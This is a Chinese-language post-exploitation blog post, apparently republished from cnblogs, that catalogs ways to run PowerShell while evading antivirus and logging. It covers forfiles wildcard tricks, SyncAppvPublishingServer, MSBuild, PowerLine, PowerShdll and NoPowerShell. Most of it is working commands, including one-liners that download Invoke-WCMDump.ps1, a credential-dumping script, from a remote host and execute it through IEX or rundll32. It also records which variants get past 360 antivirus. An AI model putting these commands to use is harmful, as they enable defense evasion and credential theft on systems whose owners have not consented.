[后渗透]多姿势绕过 Powershell 调用保护

2022-09-28|

0x01 简介

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能。由于 powershell 的特性,使得它很受渗透测试爱好者的喜爱,当然也催生了像 ASMI 之类的防御手段,当然各类杀软也是把它纳入了查杀行列中,只要你调用 PS 就会查杀,今天列举一些可以绕过其检测规则的一些姿势,主要可以粗略分为两大类,首先是绕过AV的检测规则,其次是换一个方式执行类似 PowerShell 的操作

0x02 绕过本地调用

2.1 模糊搜索调用

forfiles 是一款 windows 平台的软件工具,其中选择文件并运行一个命令来操作文件。命令说明符支持一些特殊的语法选项。它可以直接在命令行中使用,也可以在批处理文件或其他脚本中使用。

在 cmd 终端中,借用 forfiles 调用 powershell :

Copy
forfiles /p %COMSPEC:~0,19% /s /c "@file" /m po*l.*e

Copy
有需求的话,也可以同时添加 powershell 的指令参数,以实现不同的参数功能,这里以-c参数举例:

Copy
forfiles /p %COMSPEC:~0,19% /s /c "cmd /c @file -c get-host" /m po*l.*e

2.2 编译命令程序

用c++的system函数库去调用(待完善):

Copy
#include<stdio.h> #include<stdlib.h> int main(){ system("powershell"); return 0; }

2.3 SyncAppvPublishingServer

SyncAppvPublishingServer是win10自带的服务,有vbs和exe两个版本,我们可以使用他们来做一些类似PS的操作

默认存放在C:\Windows\System32下面:

Copy
#弹计算器 C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ” #访问端口 C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://192.168.1.149:443" #远程下载并执行powershell C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1','$env:USERPROFILE/1.ps1'); Start-Process '$env:USERPROFILE/1.ps1' -WindowStyle Minimized;" SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1') | IEX"

2.4 调用MSBuild

MSBuild是.Net框架中包含的工具,用于自动化创建软件产品的过程,包括编译源代码,打包,测试,部署和创建文档。Msbuild依赖于.csproj文件,该文件具有XML语法,包含了.NET构建过程中的结果

github上有此类项目:https://github.com/Cn33liz/MSBuildShell.git

执行完之后会获得一个交互式的PS:

Copy
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj

2.5 调用cscript

三好师傅:http://www.mottoin.com/detail/1961.html

0x03 非Powershell执行

3.1 PowerLine

PowerLine是一款由c#编写的工具,支持本地命令行调用和远程调用,可以在不直接调用PowerShell的情况下调用PowerShell脚本

下载地址:https://github.com/fullmetalcache/PowerLine

首先拉取项目到本地,然后运行build.bat文件:

Copy
./build.bat

然后在 UserConf.xml 文件中填写你所需要调用的 powershell 脚本的地址,默认自带 powerup、powerview、Mimikatz 等,只要按照他给定的格式加入你的 ps 脚本地址即可:

加入完成以后,运行 PLBuilder.exe 进行构建,构建过程中,360 无提示。查看内置的脚本 PowerLine.exe -ShowScripts:

3.2 PowerShdll

这个工具主要使用 dll 去运行 powershell 而不需要去连接 powershell.exe ,所以具有一定的 bypassAV 能力,当然它也可以在这几个程序下运行 rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe 或者使用作者给出的单独的 exe 进行执行

下载地址:https://github.com/p3nt4/PowerShdll

Copy
#exe版 PowerShdll -i #进入到交互模式 #dll版 360可以查杀到 rundll32 PowerShdll.dll,main . { iwr -useb https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1 } ^| iex;

3.3 Nopowershell

NoPowerShell 是用C#实现的工具,它支持执行类似PowerShell的命令,同时对任何PowerShell日志记录机制都不可见。同时也提供了CS下的cna脚本。

下载地址:https://github.com/bitsadmin/nopowershell

Copy
./NoPowerShell.exe(过360) rundll32 NoPowerShell64.dll(被查杀)

这里要注意一点的是,cs的cna脚本默认调用 scripts 下的文件,国内的cs大多为 script 目录,自行修改文件内的目录即可。

参考链接

无powershell运行powershell方法总结
http://www.mottoin.com/detail/1961.html


标签: PowerShell 调用 脚本 可以 exe 文件 命令 Windows SyncAppvPublishi system
出处: https://www.cnblogs.com/-mo-/p/12692559.html

文明发言,请先登录

文明上网理性发言,请遵守国家法律法规。

最新评论

©2003- 黑基网 黑名单存档手机版网站地图免责条款法律声明隐私保护